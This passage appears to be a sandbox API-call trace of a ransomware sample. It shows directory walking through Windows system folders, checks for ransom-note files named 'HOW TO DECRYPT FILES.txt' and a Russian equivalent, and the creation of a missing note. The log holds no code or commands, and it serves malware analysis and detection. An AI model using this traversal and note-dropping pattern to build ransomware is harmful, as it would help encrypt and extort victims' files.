Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" [0059.805] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\how to decrypt files.txt")) returned 0x20 [0059.805] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="msadcor.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll") returned="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" [0059.806] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84872aa8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84872aa8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84872aa8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcs.dll", cAlternateFileName="")) returned 1 [0059.806] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.806] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msadcs.dll") returned -1 [0059.806] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msadcs.dll") returned -1 [0059.806] lstrcmpiA (lpString1="", lpString2="msadcs.dll") returned -1 [0059.806] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll") returned="msadcor.dll" [0059.806] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\msadc\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\") returned="C:\\Program Files\\Common Files\\System\\msadc\\" [0059.806] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\") returned="" [0059.806] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" [0059.806] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\how to decrypt files.txt")) returned 0x20 [0059.806] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="msadcs.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\msadcs.dll") returned="C:\\Program Files\\Common Files\\System\\msadc\\msadcs.dll" [0059.806] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3801e6, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc3801e6, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x345eeb10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0059.806] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.806] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msadds.dll") returned -1 [0059.806] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msadds.dll") returned -1 [0059.806] lstrcmpiA (lpString1="", lpString2="msadds.dll") returned -1 [0059.806] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\msadcs.dll") returned="msadcs.dll" [0059.806] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\msadc\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\") returned="C:\\Program Files\\Common Files\\System\\msadc\\" [0059.806] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\") returned="" [0059.806] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" [0059.806] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\how to decrypt files.txt")) returned 0x20 [0059.806] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="msadds.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll") returned="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" [0059.807] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfce53b36, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfce53b36, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80fc2d90, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0059.807] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.807] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msaddsr.dll") returned -1 [0059.807] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msaddsr.dll") returned -1 [0059.807] lstrcmpiA (lpString1="", lpString2="msaddsr.dll") returned -1 [0059.807] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll") returned="msadds.dll" [0059.807] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\msadc\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\") returned="C:\\Program Files\\Common Files\\System\\msadc\\" [0059.807] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\") returned="" [0059.807] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" [0059.807] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\how to decrypt files.txt")) returned 0x20 [0059.807] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="msaddsr.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll") returned="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" [0059.807] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7d9276, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd7d9276, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x81dbdf30, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0059.807] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.807] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msdaprsr.dll") returned -1 [0059.807] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msdaprsr.dll") returned -1 [0059.807] lstrcmpiA (lpString1="", lpString2="msdaprsr.dll") returned -1 [0059.807] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll") returned="msaddsr.dll" [0059.807] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\msadc\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\") returned="C:\\Program Files\\Common Files\\System\\msadc\\" [0059.808] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\") returned="" [0059.808] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" [0059.808] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\how to decrypt files.txt")) returned 0x20 [0059.808] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="msdaprsr.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll") returned="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" [0059.808] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d295c, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc0d295c, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3497fc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0059.808] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.808] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msdaprst.dll") returned -1 [0059.808] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msdaprst.dll") returned -1 [0059.808] lstrcmpiA (lpString1="", lpString2="msdaprst.dll") returned -1 [0059.808] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll") returned="msdaprsr.dll" [0059.808] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\msadc\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\") returned="C:\\Program Files\\Common Files\\System\\msadc\\" [0059.808] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\") returned="" [0059.808] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" [0059.808] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\how to decrypt files.txt")) returned 0x20 [0059.808] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="msdaprst.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll") returned="C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" [0059.808] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fdbb10, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93fdbb10, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94001c70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0059.808] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.808] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msdarem.dll") returned -1 [0059.808] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msdarem.dll") returned -1 [0059.808] lstrcmpiA (lpString1="", lpString2="msdarem.dll") returned -1 [0059.809] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll") returned="msdaprst.dll" [0059.809] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\msadc\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\") returned="C:\\Program Files\\Common Files\\System\\msadc\\" [0059.809] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\") returned="" [0059.809] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" [0059.809] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\how to decrypt files.txt")) returned 0x20 [0059.809] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="msdarem.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" [0059.809] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6a878e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd6a878e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x835d7620, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0059.809] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.809] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msdaremr.dll") returned -1 [0059.809] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msdaremr.dll") returned -1 [0059.809] lstrcmpiA (lpString1="", lpString2="msdaremr.dll") returned -1 [0059.809] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned="msdarem.dll" [0059.809] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\msadc\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\") returned="C:\\Program Files\\Common Files\\System\\msadc\\" [0059.809] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\") returned="" [0059.809] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" [0059.809] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\how to decrypt files.txt")) returned 0x20 [0059.809] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="msdaremr.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" [0059.809] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0059.809] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.809] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msdfmap.dll") returned -1 [0059.809] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msdfmap.dll") returned -1 [0059.809] lstrcmpiA (lpString1="", lpString2="msdfmap.dll") returned -1 [0059.810] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned="msdaremr.dll" [0059.810] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\msadc\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\") returned="C:\\Program Files\\Common Files\\System\\msadc\\" [0059.810] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\") returned="" [0059.810] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" [0059.810] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\how to decrypt files.txt")) returned 0x20 [0059.810] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="msdfmap.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll") returned="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" [0059.810] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0059.810] FindClose (in: hFindFile=0x4f8180 | out: hFindFile=0x4f8180) returned 1 [0059.810] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="MSMAPI", cAlternateFileName="")) returned 1 [0059.810] lstrcmpA (lpString1=".", lpString2="MSMAPI") returned -1 [0059.810] lstrcmpA (lpString1="..", lpString2="MSMAPI") returned -1 [0059.810] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\*.*") returned="*.*" [0059.810] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\", lpString2="MSMAPI" | out: lpString1="C:\\Program Files\\Common Files\\System\\MSMAPI") returned="C:\\Program Files\\Common Files\\System\\MSMAPI" [0059.810] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8180 [0059.811] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.811] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.811] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.811] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.811] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0059.811] lstrcmpA (lpString1=".", lpString2="1033") returned -1 [0059.811] lstrcmpA (lpString1="..", lpString2="1033") returned -1 [0059.811] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\MSMAPI\\*.*") returned="*.*" [0059.812] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\MSMAPI\\", lpString2="1033" | out: lpString1="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033") returned="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033" [0059.812] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0059.812] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.812] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.812] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.812] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.812] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1 [0059.812] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.812] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSMAPI32.DLL") returned -1 [0059.812] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSMAPI32.DLL") returned -1 [0059.812] lstrcmpiA (lpString1="", lpString2="MSMAPI32.DLL") returned -1 [0059.812] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*.*") returned="*.*" [0059.812] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\") returned="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\" [0059.812] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\") returned="" [0059.812] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\HOW TO DECRYPT FILES.txt" [0059.812] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\how to decrypt files.txt")) returned 0xffffffff [0059.812] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0059.814] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 